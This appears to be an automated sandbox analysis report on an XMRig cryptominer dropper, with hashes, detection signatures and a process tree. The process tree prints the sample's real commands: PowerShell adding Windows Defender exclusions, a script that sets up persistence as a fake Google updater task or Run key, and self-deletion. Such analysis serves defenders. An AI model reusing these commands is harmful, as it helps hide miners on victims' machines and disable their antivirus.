Overview
overview
10Static
static
3grhddhsGHs...6).exe
windows7-x64
10grhddhsGHs...6).exe
windows10-2004-x64
10grhddhsGHs... K.exe
windows7-x64
10grhddhsGHs... K.exe
windows10-2004-x64
10grhddhsGHs...7).exe
windows7-x64
10grhddhsGHs...7).exe
windows10-2004-x64
10grhddhsGHs...8).exe
windows7-x64
10grhddhsGHs...8).exe
windows10-2004-x64
10grhddhsGHs...9).exe
windows7-x64
10grhddhsGHs...9).exe
windows10-2004-x64
10grhddhsGHs...0).exe
windows7-x64
10grhddhsGHs...0).exe
windows10-2004-x64
10grhddhsGHs...1).exe
windows7-x64
10grhddhsGHs...1).exe
windows10-2004-x64
10grhddhsGHs...2).exe
windows7-x64
10grhddhsGHs...2).exe
windows10-2004-x64
10grhddhsGHs...3).exe
windows7-x64
10grhddhsGHs...3).exe
windows10-2004-x64
10grhddhsGHs...4).exe
windows7-x64
10grhddhsGHs...4).exe
windows10-2004-x64
10grhddhsGHs...5).exe
windows7-x64
10grhddhsGHs...5).exe
windows10-2004-x64
10grhddhsGHs...6).exe
windows7-x64
10grhddhsGHs...6).exe
windows10-2004-x64
10grhddhsGHs...7).exe
windows7-x64
10grhddhsGHs...7).exe
windows10-2004-x64
10grhddhsGHs...8).exe
windows7-x64
10grhddhsGHs...8).exe
windows10-2004-x64
10grhddhsGHs...9).exe
windows7-x64
10grhddhsGHs...9).exe
windows10-2004-x64
10grhddhsGHs...0).exe
windows7-x64
10grhddhsGHs...0).exe
windows10-2004-x64
10Resubmissions
11/02/2025, 16:33
250211-t2ztsstkey 1011/02/2025, 16:33
250211-t2zh2atkex 1011/02/2025, 16:33
250211-t2yxhatkew 1011/02/2025, 16:33
250211-t2nrjasqdk 1024/10/2024, 20:12
241024-yyvg5asemn 1024/10/2024, 20:11
241024-yygk9ssemk 1024/10/2024, 20:11
241024-yygahasemj 1024/10/2024, 20:11
241024-yyd55sselq 1024/10/2024, 20:08
241024-yw247asdqp 1024/10/2024, 20:08
241024-yw1lcssdqn 10Analysis
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max time kernel
284s -
max time network
890s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
11/02/2025, 16:33
Static task
static1
Behavioral task
behavioral1
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
Resource
win7-20241023-en
Behavioral task
behavioral2
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
Resource
win10v2004-20250207-en
Behavioral task
behavioral3
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win7-20240903-en
Behavioral task
behavioral4
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win10v2004-20250211-en
Behavioral task
behavioral5
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17).exe
Resource
win7-20241010-en
Behavioral task
behavioral6
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17).exe
Resource
win10v2004-20250207-en
Behavioral task
behavioral7
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (18).exe
Resource
win7-20241010-en
Behavioral task
behavioral8
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (18).exe
Resource
win10v2004-20250207-en
Behavioral task
behavioral9
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
Resource
win7-20241010-en
Behavioral task
behavioral10
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
Resource
win10v2004-20250211-en
Behavioral task
behavioral11
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
Resource
win7-20240903-en
Behavioral task
behavioral12
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
Resource
win10v2004-20250211-en
Behavioral task
behavioral13
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
Resource
win7-20240729-en
Behavioral task
behavioral14
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
Resource
win10v2004-20250207-en
Behavioral task
behavioral15
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (22).exe
Resource
win7-20240729-en
Behavioral task
behavioral16
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (22).exe
Resource
win10v2004-20250211-en
Behavioral task
behavioral17
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (23).exe
Resource
win7-20241010-en
Behavioral task
behavioral18
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (23).exe
Resource
win10v2004-20250207-en
Behavioral task
behavioral19
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (24).exe
Resource
win7-20240903-en
Behavioral task
behavioral20
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (24).exe
Resource
win10v2004-20250207-en
Behavioral task
behavioral21
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe
Resource
win7-20240903-en
Behavioral task
behavioral22
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe
Resource
win10v2004-20250207-en
Behavioral task
behavioral23
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (26).exe
Resource
win7-20240903-en
Behavioral task
behavioral24
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (26).exe
Resource
win10v2004-20250207-en
Behavioral task
behavioral25
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
Resource
win7-20241023-en
Behavioral task
behavioral26
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
Resource
win10v2004-20250211-en
Behavioral task
behavioral27
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (28).exe
Resource
win7-20240903-en
Behavioral task
behavioral28
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (28).exe
Resource
win10v2004-20250211-en
Behavioral task
behavioral29
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
Resource
win7-20240903-en
Behavioral task
behavioral30
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
Resource
win10v2004-20250207-en
Behavioral task
behavioral31
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (30).exe
Resource
win7-20241010-en
General
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Target
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (24).exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 2640 created 1224 2640 qM5GMXBk6hJE6Y5e (24).exe 21 PID 2640 created 1224 2640 qM5GMXBk6hJE6Y5e (24).exe 21 PID 2640 created 1224 2640 qM5GMXBk6hJE6Y5e (24).exe 21 PID 2640 created 1224 2640 qM5GMXBk6hJE6Y5e (24).exe 21 PID 2120 created 1224 2120 updater.exe 21 PID 2120 created 1224 2120 updater.exe 21 PID 2120 created 1224 2120 updater.exe 21 PID 844 created 1224 844 conhost.exe 21 PID 2120 created 1224 2120 updater.exe 21 PID 2120 created 1224 2120 updater.exe 21 -
Xmrig family
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XMRig Miner payload 30 IoCs
resource yara_rule behavioral19/memory/1968-42-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/1968-43-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/1968-45-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/1968-47-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/1968-49-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/1968-51-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/1968-53-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/1968-55-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/1968-57-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/1968-59-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/1968-61-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/1968-63-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/1968-65-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/1968-67-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/1968-69-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/1968-71-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/1968-73-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/1968-75-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/1968-77-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/1968-79-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/1968-81-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/1968-83-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/1968-85-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/1968-87-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/1968-89-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/1968-91-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/1968-93-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/1968-95-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/1968-97-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/1968-99-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2736 powershell.exe 2416 powershell.exe 2560 powershell.exe 576 powershell.exe -
Deletes itself 1 IoCs
pid Process 2968 cmd.exe -
Executes dropped EXE 1 IoCs
pid Process 2120 updater.exe -
Loads dropped DLL 1 IoCs
pid Process 2208 taskeng.exe -
Drops file in System32 directory 5 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2120 set thread context of 844 2120 updater.exe 48 PID 2120 set thread context of 1968 2120 updater.exe 55 -
resource yara_rule behavioral19/memory/1968-38-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/1968-42-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/1968-43-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/1968-45-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/1968-47-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/1968-49-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/1968-51-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/1968-53-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/1968-55-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/1968-57-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/1968-59-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/1968-61-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/1968-63-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/1968-65-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/1968-67-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/1968-69-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/1968-71-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/1968-73-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/1968-75-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/1968-77-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/1968-79-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/1968-81-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/1968-83-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/1968-85-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/1968-87-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/1968-89-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/1968-91-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/1968-93-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/1968-95-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/1968-97-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/1968-99-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe qM5GMXBk6hJE6Y5e (24).exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1840 WMIC.exe -
Modifies data under HKEY_USERS 3 IoCs
description ioc Process Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = b085ab93a47cdb01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2576 schtasks.exe 752 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
pid Process 2640 qM5GMXBk6hJE6Y5e (24).exe 2640 qM5GMXBk6hJE6Y5e (24).exe 2736 powershell.exe 2640 qM5GMXBk6hJE6Y5e (24).exe 2640 qM5GMXBk6hJE6Y5e (24).exe 2560 powershell.exe 2640 qM5GMXBk6hJE6Y5e (24).exe 2640 qM5GMXBk6hJE6Y5e (24).exe 2640 qM5GMXBk6hJE6Y5e (24).exe 2640 qM5GMXBk6hJE6Y5e (24).exe 1508 powershell.exe 2120 updater.exe 2120 updater.exe 2416 powershell.exe 2120 updater.exe 2120 updater.exe 576 powershell.exe 2120 updater.exe 2120 updater.exe 844 conhost.exe 844 conhost.exe 2120 updater.exe 2120 updater.exe 2120 updater.exe 2120 updater.exe -
Suspicious use of AdjustPrivilegeToken 31 IoCs
description pid Process Token: SeDebugPrivilege 2736 powershell.exe Token: SeDebugPrivilege 2560 powershell.exe Token: SeDebugPrivilege 1508 powershell.exe Token: SeDebugPrivilege 2416 powershell.exe Token: SeDebugPrivilege 576 powershell.exe Token: SeDebugPrivilege 2120 updater.exe Token: SeAssignPrimaryTokenPrivilege 1840 WMIC.exe Token: SeIncreaseQuotaPrivilege 1840 WMIC.exe Token: SeSecurityPrivilege 1840 WMIC.exe Token: SeTakeOwnershipPrivilege 1840 WMIC.exe Token: SeLoadDriverPrivilege 1840 WMIC.exe Token: SeSystemtimePrivilege 1840 WMIC.exe Token: SeBackupPrivilege 1840 WMIC.exe Token: SeRestorePrivilege 1840 WMIC.exe Token: SeShutdownPrivilege 1840 WMIC.exe Token: SeSystemEnvironmentPrivilege 1840 WMIC.exe Token: SeUndockPrivilege 1840 WMIC.exe Token: SeManageVolumePrivilege 1840 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1840 WMIC.exe Token: SeIncreaseQuotaPrivilege 1840 WMIC.exe Token: SeSecurityPrivilege 1840 WMIC.exe Token: SeTakeOwnershipPrivilege 1840 WMIC.exe Token: SeLoadDriverPrivilege 1840 WMIC.exe Token: SeSystemtimePrivilege 1840 WMIC.exe Token: SeBackupPrivilege 1840 WMIC.exe Token: SeRestorePrivilege 1840 WMIC.exe Token: SeShutdownPrivilege 1840 WMIC.exe Token: SeSystemEnvironmentPrivilege 1840 WMIC.exe Token: SeUndockPrivilege 1840 WMIC.exe Token: SeManageVolumePrivilege 1840 WMIC.exe Token: SeLockMemoryPrivilege 1968 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2560 wrote to memory of 2576 2560 powershell.exe 34 PID 2560 wrote to memory of 2576 2560 powershell.exe 34 PID 2560 wrote to memory of 2576 2560 powershell.exe 34 PID 2968 wrote to memory of 2712 2968 cmd.exe 39 PID 2968 wrote to memory of 2712 2968 cmd.exe 39 PID 2968 wrote to memory of 2712 2968 cmd.exe 39 PID 1508 wrote to memory of 2088 1508 powershell.exe 40 PID 1508 wrote to memory of 2088 1508 powershell.exe 40 PID 1508 wrote to memory of 2088 1508 powershell.exe 40 PID 2208 wrote to memory of 2120 2208 taskeng.exe 42 PID 2208 wrote to memory of 2120 2208 taskeng.exe 42 PID 2208 wrote to memory of 2120 2208 taskeng.exe 42 PID 576 wrote to memory of 752 576 powershell.exe 47 PID 576 wrote to memory of 752 576 powershell.exe 47 PID 576 wrote to memory of 752 576 powershell.exe 47 PID 2120 wrote to memory of 844 2120 updater.exe 48 PID 2368 wrote to memory of 1840 2368 cmd.exe 53 PID 2368 wrote to memory of 1840 2368 cmd.exe 53 PID 2368 wrote to memory of 1840 2368 cmd.exe 53 PID 2120 wrote to memory of 1968 2120 updater.exe 55 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1224
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C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (24).exe"C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (24).exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2640
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2736
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2560 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2576
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1508 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:2088
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (24).exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2968 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2712
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2416
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:576 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Scheduled Task/Job: Scheduled Task
PID:752
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:844
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2368 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1840
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:2992
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1968
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C:\Windows\system32\taskeng.exetaskeng.exe {18FD357F-F648-4A3E-AC24-6CF2E75FEA91} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2208 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2120
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\S3V1P9YGGKZ8N09JAHHO.temp
Filesize7KB
MD559d05e90326cc56969980dd3eb02eb3b
SHA16b2eb53ed20ef9cd8b7520b475ff5b2ba62bb1e3
SHA256fdbe38e60b45fdda6c8bae2a697eb39d1cb82c661736f7e0d13f02bf744aff23
SHA512952d2e3be0ea02aa05cb9529dd50718a531199b01ff14644afdb952b992f82bb42ecc1e2f64306d1c606654b45ba563284c31eb0f624118e4ca3d5082f8b71d3
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Filesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6